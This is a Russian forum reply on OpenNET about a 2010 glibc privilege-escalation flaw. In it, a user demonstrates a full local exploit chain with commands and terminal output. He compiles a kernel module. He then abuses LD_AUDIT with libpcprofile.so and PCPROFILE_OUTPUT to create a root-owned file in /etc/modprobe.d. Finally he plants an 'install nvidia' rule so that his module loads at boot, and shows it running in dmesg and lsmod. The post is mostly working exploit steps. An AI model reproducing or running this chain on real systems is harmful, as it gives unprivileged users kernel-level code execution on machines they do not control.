The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Индекс форумов
Составление сообщения

Исходное сообщение
"Для Glibc представлен еще один метод повышения привилегий"
Отправлено pavlinux, 23-Окт-10 19:06 
А я веселее придумал...
Идем домой,
$ cd ~
Пишем дружественный модуль

pavel@suse64:~> cat /home/pavel/fake.c
----
#include <linux/version.h>
#include <linux/module.h>

int fake_init(void ) {
    printk(KERN_DEBUG "FAKE ME\n");
    return 0;
}

module_init(fake_init);
---

pavel@suse64:~> cat ~/Makefile
---
obj-m := fake.o
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
---

pavel@suse64:~> make

make -C /lib/modules/2.6.36+/build M=/home/pavel/ modules
make[1]: Entering directory `/media/kernel/linux-2.6'
  CC [M]  /home/pavel/fake.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/pavel/fake.mod.o
  LD [M]  /home/pavel/fake.ko
make[1]: Leaving directory `/media/kernel/linux-2.6'

----
Добавляемся в modprobe:

pavel@suse64:~> LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/modprobe.d/99-fake.conf" ping

ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

pavel@suse64:~> ls  /etc/modprobe.d/99-fake.conf
/etc/modprobe.d/99-fake.conf

Находим модули которые грузятся автоматом, выбираем любимый и вписываемся:

pavel@suse64:~> printf "install nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;\n" > /etc/modprobe.d/99-fake.conf
pavel@suse64:~> cat  /etc/modprobe.d/99-fake.conf

install nvidia /sbin/insmod /home/pavel/fake.ko; /sbin/modprobe -i nvidia;

Ребутимся... Но можно чёнить придумать без ребута, например при всовывание блютуз свистка
загрузится какой-нить bt_mod ... в общем по месту....

И так, перегрузились...

$ dmesg | grep FAKE
FAKE ME

мля....

pavel@suse64:~> lsmod
Module                  Size  Used by
nvidia              10021096  28
fake                     719  0 [permanent]


Йопт...

 

Ваше сообщение
Имя*:
EMail:
Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email).
Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:
  Введите код, изображенный на картинке: КОД
 
При общении не допускается: неуважительное отношение к собеседнику, хамство, унизительное обращение, ненормативная лексика, переход на личности, агрессивное поведение, обесценивание собеседника, провоцирование флейма голословными и заведомо ложными заявлениями. Не отвечайте на сообщения, явно нарушающие правила - удаляются не только сами нарушения, но и все ответы на них. Лог модерирования.



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру